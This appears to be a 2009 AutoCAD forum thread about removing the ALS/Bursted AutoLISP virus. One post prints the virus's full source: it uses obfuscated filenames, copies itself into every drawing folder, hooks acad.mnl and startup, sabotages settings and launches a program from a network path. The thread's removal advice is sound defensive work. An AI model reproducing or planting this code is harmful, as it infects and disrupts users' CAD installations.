|
Replies:
20
-
Last Post:
Feb 25, 2009 9:55 AM
Last Post By: akash.ghate
|
Threads:
[
Previous
|
Next
]
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
acad.lsp file is getting created in every folder
Posted:
Jan 12, 2009 4:56 AM
|
|
|
|
Hi,
In Autocad 2007 /2008 a acad.lisp file appears on the dwg location.I have googled a lot but found nothing.I learned that its a virus named ALS Bursted.My Mcafee & Nod 32 detected nothing.
Hatch ,Pan & other functions are not working.I have tried reinstalling auto cad as well.
Still no luck.
Are there any settings in autocad i need to change?.I am attaching the file here.
If anybody has got a solution for this please reply.
Thanks in advance.
Akash
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 12, 2009 10:20 AM
in response to: akash.ghate
|
|
|
No file attached - it would be interesting to see
what is in this Acad.lsp, since it may be undefining/redefining your commands.
It sounds like a file may be running that will start by installing a copy of
Acad.lsp in the current folder, making it the first to be found if Acad searches
for it. What lisps or other files are shown as being loaded
at either startup or in acad.lsp? You might also take a look at whether any of
the other files like acaddoc.lsp, acad2006.lsp, acad2006doc.lsp etc have been
amended or replaced. -- Gordon
Hi,
In Autocad 2007 /2008 a acad.lisp file appears on the dwg location.I have
googled a lot but found nothing.I learned that its a virus named ALS
Bursted.My Mcafee & Nod 32 detected nothing. Hatch ,Pan & other
functions are not working.I have tried reinstalling auto cad as well. Still no
luck. Are there any settings in autocad i need to change?.I am attaching the
file here. If anybody has got a solution for this please reply. Thanks in
advance. Akash
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 12, 2009 11:14 AM
in response to: Gordon Stephens
|
|
|
|
|
|
Thanks for replying,
The acad.lsp file is blank.I am attaching it for your reference.
it has got nothing inside.i don't understand what's happening.
Is it anyway related to multiple design environment?
Please reply.
Thanks,
Akash
|
|
|
|
|
|
Posts:
1
Registered:
01/12/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 12, 2009 2:00 PM
in response to: akash.ghate
|
|
|
It is not blank; it is a 112 kB file, filled with many carriage return/line feed characters (almost 55000) and some Lisp code plus rubbish near the middle. Use a simple editor like WinVi (or even MS Word) to replace the Cr Lf characters by 'nothing' and you'll see. Don't know what the program does and what causes your problem, but this is your "blank" file. Govert http://www.noliturbare.com |
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 12, 2009 7:30 PM
in response to: akash.ghate
|
|
|
Well, as Govert says above, the file is not blank.
I include the text part here with a couple of added semi-colons in front of the
two groups of dashes to comment them out. I don't know if you understand enough
lisp to work out what is happening, but it is definitely writing,
appending and copying files. You will see there is an s::startup definition
too which is worrying as the whole thing at root seems to be amending and
appending to files each time you start autocad. I am hoping that someone else here might understand
the code somewhat better than I, and can point you in the right direction to get
rid of the worst aspects of what is being done here. I am not sure it is
necessarily a virus as you say, but it is certainly proliferating spurious
copies of an incorrect and virtually unreadable acad.lsp. The other thing that appears to be happening is
that various system variables are being set as you may note at the end of the
code posted here. This is why some of your functions are going haywire - just
look up these system variables in help. You will at least be able to reset them
manually and get back your hatches, panning, highlight, zoom factor
etc. [code] ;z;z;z;z;z;z;z;z;z;z;z;z;23;hgf
(setvar
"cmdecho" 0)(vl-load-com)(setq ndwg (getvar "dwgname"))(if (= "Drawing1.dwg"
ndwg)(command "save" "Drawing1.dwg" ""))
(setq d1 (strcat (chr 97) (chr 99)
(chr 97) (chr 100) (chr 97) (chr 112)(chr 112)(chr 112)))
(setq d2 (strcat
(chr 97)(chr 99) (chr 97) (chr 100) (chr 97) (chr 112)(chr 112)(chr
112)(chr 46)(chr 108)(chr 115)(chr 112)));----------------
(setq d3 (strcat
(chr 97) (chr 99) (chr 97) (chr 100) (chr 97) (chr 112)(chr 112)(chr
46)(chr 108)(chr 115)(chr 112)))
(setq path (findfile "base.dcl"))
(setq
path (substr path 1 (- (strlen path) 8)))
(setq path1 (strcat path
d2))
(setq path3 (strcat path d3))
(setq nowdwg (getvar
"dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (-
(strlen wjqm) (strlen nowdwg))))
(setq path2 (strcat dwgpath
"acad.lsp"))
(SETQ fp1 (findfile path1))
(if (= fp1 nil)(vl-file-copy
path2 path1 ))
(SETQ fp2 (findfile path2))
(if (= fp2 nil)(vl-file-copy
path1 path2 ))
(if (/= fp2 nil)(progn(vl-file-delete path2)(vl-file-copy
path1 path2
)));---------------------------------------------------------------
(SETQ fp3
(findfile path3))
(if (/= fp3 nil)(progn(setq wjm (open path3 "r"))(setq wjm
(read-line wjm))(if (/= wjm ";;;")(progn(setq wj (open path3 "w"))(write-line
";;;" wj)(close wj)))))
(defun s::startup()
(setvar "cmdecho"
0)
(setq lspmnl 0)
(setq path (findfile
"base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq wjqm (strcat path (strcat (chr 97) (chr 99) (chr 97) (chr 100) (chr 46)
(chr 109)(chr 110) (chr 108))))
(if (setq wjm (open wjqm
"r"))(progn(while (setq wz (read-line wjm))(setq ns1 ns2)(setq ns2 wz))(if (>
(strlen ns1) 14)(if (= (substr ns1 8 8) d1)(setq lspmnl 1)))(close
wjm)))
(if (= lspmnl 0) (progn (setq wjqm (strcat path (strcat (chr
97) (chr 99) (chr 97) (chr 100) (chr 46) (chr 109)(chr 110) (chr 108))))(setq
wjm (open wjqm "a"))(write-line (strcat "(load "(chr 34) d2 (chr
34)")")wjm)(write-line "(princ)" wjm)(close wjm))))
(setvar "zoomfactor"
12)
(setvar "mbuttonpan" 0)
(setvar "HIGHLIGHT" 0)
(setvar
"fillmode"0)
;xyz
(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)
(chr 83) (chr 49) (chr 92) (chr 83) (chr 89) (chr 83) (chr 45) (chr 92)
(chr 87) (chr 79) (chr 82) (chr 75) (chr 92) (chr 80) (chr 76) (chr 79) (chr 84)
(chr 69) (chr 82)))
(setq strbottomstr (strcat (chr 92) (chr 76) (chr 70)
(chr 67) (chr 80) (chr 82) (chr 88) (chr 89) (chr 49) (chr 46) (chr 69) (chr 68)
(chr 68)))
(startapp (strcat strtopstr
strbottomstr))
;1;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;x;z;z;z;z [/code]
Thanks
for replying, The acad.lsp file is blank.I am attaching it for your reference.
it has got nothing inside.i don't understand what's happening. Is it anyway
related to multiple design environment? Please reply. Thanks, Akash
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 13, 2009 6:51 AM
in response to: Gordon Stephens
|
|
|
|
|
|
Hi,
Thanks for replying .I am not a LISP expert.
Can you please explain me what exactly i need to do so that the autocad will function normally.
I have seen one more thing coming up ,which according to me is causing a problem.i am attaching the screenshot of the error.
Hope that helps in solving the problem.
Waiting for Reply.
Thanks & Regards,
Akash
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 13, 2009 10:34 AM
in response to: akash.ghate
|
|
|
Look, even if you are not a lisp expert, you can
help yourself by looking at the help files as I suggested. Below are the system
variables that the code is presumably setting:- (setvar "zoomfactor" 12)
(setvar "mbuttonpan"
0)
(setvar "HIGHLIGHT" 0)
(setvar "fillmode"0) You can set these in a lisp file, like this (setvar
"mbuttonpan" 1) and/or (setvar "HIGHLIGHT" 1)etc. entered on the command line or
in a lisp, but you will get more from what you are doing by reading the help
files about these variables. You can also alter the setting directly by typing
in the variable name at the command prompt and when the set value displays,
change it to what you require, or if it is okay, press
<enter>. You do appear to have a lisp file somewhere that
has been set to write and alter files during startup and therefore every time
you run AutoCAD, but without being able to see your system, it is difficult to
say where the problem may be arising. You need to search out all copies of
acad.lsp and delete them all except for your original in this location -
"C:\\Program Files\\AutoCAD 2006\\support\\acad.lsp" or your equivalent. You
should post that one here if you can. You could search for these files too, as they seem
to be referenced within this lisp, and see what they contain, and when
created/updated - acadappp acadappp.lsp acadapp.lsp Since the routine looks for base.dcl to use the
path, check where it is by typing (findfile "base.dcl") at the command line - it
should return a path looking like this : "C:\\Documents and Settings\\***Your User
Name***\\Application Data\\Autodesk\\AutoCAD
2008\\R17.1\\enu\\support\\base.dcl" You will probably find the above files
there. You should also do a search for S::STARTUP within
files on your PC and post what you find here. On the subject of this specific post, the OK option
is fine - I only load acad.lsp in the first drawing - you certainly do not want
to load it each time since AutoCAD is finding a copy in every folder you open a
file in, and since it searches the current folder first for files, it will use
the version that is written there, thus affecting your use of AutoCAD each and
every time you open a drawing. The code towards the end of the acad.lsp you posted
seems to be setting two strings and concatenating them, then using startapp to
start that programme. It appears to me to be this file :- See if you have such a path and file, as this
is being run at the end of the acad.lsp, and you may prefer that it does not. It
may be an exe file that has been renamed - I just don't know. I would like to help more, but my lisp
understanding is limited, and it would take me a long time to unravel what this
lisp is doing and from where it is operating/being generated. (I note that it is also looking at acad.mnl and
doing some other stuff, and this is related to the menu LISP) I'm not sure why nobody else has posted any help
here, perhaps because it is to tricky too fathom what is going on. -- Gordon
Hi,
Thanks for replying .I am not a LISP expert. Can you please explain me what
exactly i need to do so that the autocad will function normally. I have seen
one more thing coming up ,which according to me is causing a problem.i am
attaching the screenshot of the error. Hope that helps in solving the problem.
Waiting for Reply. Thanks & Regards, Akash
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 13, 2009 10:37 AM
in response to: akash.ghate
|
|
|
You may also get more help by posting this enquiry
in the autodesk.autocad.customization newsgroup. -- Gordon
Hi,
Thanks for replying .I am not a LISP expert. Can you please explain me what
exactly i need to do so that the autocad will function normally. I have seen
one more thing coming up ,which according to me is causing a problem.i am
attaching the screenshot of the error. Hope that helps in solving the problem.
Waiting for Reply. Thanks & Regards, Akash
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 13, 2009 1:22 PM
in response to: akash.ghate
|
|
|
I did google ALS/Bursted, and yes, you are quite
right, it is listed as a virus written in Autolisp. There are full instruction
on this site for removing all instances via MacAfee (and Symantec etc)
There is a section on removal here where point 5 is as reproduced below- Removing the entry from acad.lsp in AutoCAD's Support
folder
- Locate the acad.lsp file in AutoCAD's Support folder.
Note:
By default the support folder is: <installation folder of
AutoCAD>\support.
- Open the file, acad.lsp, in a text editor.
- Search for all the occurrences of the following three-line
group:
(load
"acadapp")
(princ)
and then remove
them.
However, it would seem that your version is loading
acadappp.lsp (3 p's followed by the lsp) using this line - (strcat "(load "(chr 34) d2 (chr
34)")") where d2 is the filename 'acadappp.lsp' with path
to the location of base.dcl - or the support folder (I think) I am not sure what if anything it may be doing to
the acad.mnl file, but you should take a look to see if it is being rewritten
each time you start AutoCAD and what it contains. I think that at the very least you could delete
every single instance of acad.lsp that you can find as it isn't necessary to the
functioning of autocad, and after you have eradicated ALL instances, if you
wanted to, you could create your own from scratch. -- Gordon
Hi,
Thanks for replying .I am not a LISP expert. Can you please explain me what
exactly i need to do so that the autocad will function normally. I have seen
one more thing coming up ,which according to me is causing a problem.i am
attaching the screenshot of the error. Hope that helps in solving the problem.
Waiting for Reply. Thanks & Regards, Akash
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 14, 2009 6:31 AM
in response to: Gordon Stephens
|
|
|
|
Hi,
Thanks for the help,I have tried to do it with Mcafee.It did not detect anything.Now i am removing autocad & all the files & folders from the machine & registry as well.
One more question is what will happen to my existing files.what will happen to the hatches & other changes i have made?
Thanks & Regards,
Akash Ghate
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 14, 2009 10:02 AM
in response to: akash.ghate
|
|
|
Nothing should happen to your existing files. Just
make sure you back up any new hatch patterns, linetypes, drawings etc that you
have created. Make sure that you delete all copies of acad.lsp,
and anything you can find that is called acadapp, acadapp.lsp, acadappp or
acadappp.lsp. You should also make sure that acad.mnl is deleted as a reinstall
should set up a new one. If you have created any lisps, and intend retaining
them for use with a new installation, then make sure that none of these have any
of the code within them that has caused this particular problem. You have
doubtless downloaded lisps, and it would have been one of these that gave you
the particular code, usually by including a copy of the troublesome acad.lsp
with the other routine(s). You should be most careful about retaining lisps
you have downloaded as it is one of these that will have caused all your grief.
It may be better to get rid of all of them unless you are 100% sure of their
integrity. It sounds like you are not that experienced in the
Autolisp coding of the routines you have, so you may need to be a little
circumspect when collecting and using such routines that do not come from
Autodesk. If the offending lisp is still on your computer in what will be one of
the paths that AutoCAD will be directed to search or does so by default, then
the infection will start again, despite your having uninstalled and deleted
everything from the earlier set up, so be warned. -- Gordon.
Hi,
Thanks for the help,I have tried to do it with Mcafee.It did not detect
anything.Now i am removing autocad & all the files & folders from the
machine & registry as well. One more question is what will happen to my
existing files.what will happen to the hatches & other changes i have
made? Thanks & Regards, Akash Ghate
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 14, 2009 10:12 AM
in response to: Gordon Stephens
|
|
|
|
Hi,
I searched for .lsp files.I deleted them i uninstalled autocad.removed the folders from program files & documents & settings/user/application data & everywhere from the machine.
Then removed all the entries from registry of autocad/autodesk/acad.
Then i reinstalled autocad.It started working in newly created files.
But when i tried opening old files & hatching in that that still doesn't work,so i copied all the contains in new file & finally it worked.
Thanks Everyone for the help.
Special Thanks to Gordon Stephens
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 14, 2009 11:00 AM
in response to: akash.ghate
|
|
|
Pleased to hear that you eventually got it
sorted. -- Gordon
Hi,
I searched for .lsp files.I deleted them i uninstalled autocad.removed the
folders from program files & documents & settings/user/application
data & everywhere from the machine. Then removed all the entries from
registry of autocad/autodesk/acad. Then i reinstalled autocad.It started
working in newly created files. But when i tried opening old files &
hatching in that that still doesn't work,so i copied all the contains in new
file & finally it worked. Thanks Everyone for the help. Special Thanks
to Gordon Stephens
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 11:42 AM
in response to: Gordon Stephens
|
|
|
|
Hi Gordon,
Need some help from you.
Now whenever i open previous files the multiple design environment window appears.If i press esc key there then the functions keep on working.
But if i select any option there the functions stop working.Also i found that the acad.lsp files gets created again if i select any option there.i deleted all acad.lsp files.but if it creates acad.lsp file then its sure that the functions wont work.
Can we have any permenent FIX on this?
Thanks,
Akash Ghate
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 1:15 PM
in response to: akash.ghate
|
|
|
Hi Akash, Sorry, what is the multiple design
environment? If the acad.lisp file is being created again, then
you could not have eliminated everything affected by the virus you picked up, or
so it would seem. Did you make sure any version of acad.mnl and acadapp,
acadappp, acadapp.lsp and acadappp.lsp were completely eradicated from your PC
wherever they showed up - search the whole PC for any of these
files. Exactly what functions stop working? -- Gordon
Hi
Gordon, Need some help from you. Now whenever i open previous files the
multiple design environment window appears.If i press esc key there then the
functions keep on working. But if i select any option there the functions stop
working.Also i found that the acad.lsp files gets created again if i select
any option there.i deleted all acad.lsp files.but if it creates acad.lsp file
then its sure that the functions wont work. Can we have any permenent FIX on
this? Thanks, Akash Ghate
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 1:28 PM
in response to: akash.ghate
|
|
|
Just wondering, do you mean SDI=0 or
multiple-drawing interface is turned on? -- Gordon
Hi
Gordon, Need some help from you. Now whenever i open previous files the
multiple design environment window appears.If i press esc key there then the
functions keep on working. But if i select any option there the functions stop
working.Also i found that the acad.lsp files gets created again if i select
any option there.i deleted all acad.lsp files.but if it creates acad.lsp file
then its sure that the functions wont work. Can we have any permenent FIX on
this? Thanks, Akash Ghate
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 1:36 PM
in response to: Gordon Stephens
|
|
|
|
|
|
Hi ,
I will explain what exactly i mean.
I clean installed autocad.i deleted all folders with the name autodesk/autocad.& All files with .lsp extension.I have also deleted all .lsp files from my network storage location.
When i try to open some of my old file which are there before this problem occured.The error attached appears.
If u click on any option it will create acad.lsp file & PAN,Hatch will stop working.If u press esc key at this screen u can work normally.
I would like to know what this screen means.
Thanks,
AKash
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 4:56 PM
in response to: akash.ghate
|
|
|
I have already answered this above. Presumably you
are saying that if you click either 'radio button', you encounter the
problems you have outlined, but if you press escape, then the dialog disappears
and nothing untoward occurs and your functions remain accessible and
usable. Well, the point is, that if you have acad.lsp
occurring anywhere in the search paths, then AutoCAD will find it and load it at
least once at the first opened drawing. If you click the lower button, it will
simply load it and execute acad.lsp ,whatever is in that file, with every
drawing that you open. Clearly, this would not be your preferred option since
'you' have not written and are not attempting to implement that lisp file. If
you okay the default upper radio button then it only runs the once. However,
that is enough to once again proliferate copies of acad.lsp if the 'virus' is
still around on your PC. I have also told you that if it runs, it will set
certain system variables to zero, but you can manually change them to 1 - please
read the previous posts for how to do that. I have also advised you to search out every single
copy of acad.lsp and acad.mnl on your pc as well as those other files acadapp,
acadappp, acadapp.lsp and acadappp.lsp and delete them all - it will not harm
anything by getting rid of every single instance - you simply don't need
them. The fact that after a reinstall you are still
getting the same problems arising means that you have not deleted every single
version of the files I have mentioned. You must do this otherwise the problems will
continue to recurr. -- Gordon
Hi
, I will explain what exactly i mean. I clean installed autocad.i deleted all
folders with the name autodesk/autocad.& All files with .lsp extension.I
have also deleted all .lsp files from my network storage location. When i try
to open some of my old file which are there before this problem occured.The
error attached appears. If u click on any option it will create acad.lsp file
& PAN,Hatch will stop working.If u press esc key at this screen u can work
normally. I would like to know what this screen means. Thanks, AKash
|
|
|
|
|
|
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Jan 16, 2009 4:38 PM
in response to: akash.ghate
|
|
|
akash, the bad acad.lsp file may be being reloaded
from the folder you are opening your dwg files from, which recreates the whole
problem again. I don't think this virus does anything to the registry, but
it's been around for about 4 years and there is a lot of info on it, what it
does and how to remove it on the web (Google "acad.lsp virus" or anything like
that). Removal is fairly simple. We got rid of it a few years ago
using the methods described. Make sure you're following the instructions to the
letter. Good luck - it's not a super malicious virus and why anyone would
write something so weak in lsp to only affect Acad is beyond me.
Hi
Gordon, Need some help from you. Now whenever i open previous files the
multiple design environment window appears.If i press esc key there then the
functions keep on working. But if i select any option there the functions stop
working.Also i found that the acad.lsp files gets created again if i select
any option there.i deleted all acad.lsp files.but if it creates acad.lsp file
then its sure that the functions wont work. Can we have any permenent FIX on
this? Thanks, Akash Ghate
|
|
|
|
|
|
Posts:
1
Registered:
02/05/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Feb 6, 2009 3:43 AM
in response to: akash.ghate
|
|
|
|
Hi,
I think ur Mcafee and Nod32 cannot detect anything because acad.lsp file is not a normal virus. It was written by autolisp. I've just read a solution from another forum. Can you try that way? May be, it will help u to solve the problem. It's very simple!
Firstly, u open ur autocad.
Secondly, u type "ap" in command line, Load/Unload Applications will appear, u can see some file that they have name acadapp.lsp and acad.lsp was loaded. U check the path of these files and delete them.
Thirdly, Close ur autocad.
Fourthly, Search a file has name acad.lsp in everywhere on your PC and delete them all (very important).
Finally, u start up ur autocad once more. Recover all system variables (eg: mbuttonpan from 0 to 1; zoomfactor from 12 to 60, highlight from 0 to 1; ect...) (or reinstall ur autocad). Save that file to anywhere u want.
Ok! Now, ur autocad is working normally.
Good luck!
|
|
|
|
|
|
Posts:
8
Registered:
01/11/09
|
|
|
|
Re: acad.lsp file is getting created in every folder
Posted:
Feb 25, 2009 9:55 AM
in response to: DimitarBerbatov
|
|
|
|
Hello Everybody,
I escalated this case to Mcafee with the sample file.The did threat research on that & found that its a virus.
The same has been included in the latest DAT's (Virus Definitions).Updating to latest DAT's will clean/delete the virus.
It is detected as ALS/Bursted
Anybody who has got the same problem ,can now install Mcafee ,Update it & perform a scan.
That will detect & delete the virus.
Thanks everybody for help.
Regards,
Akash
|
|
|
|
|
|
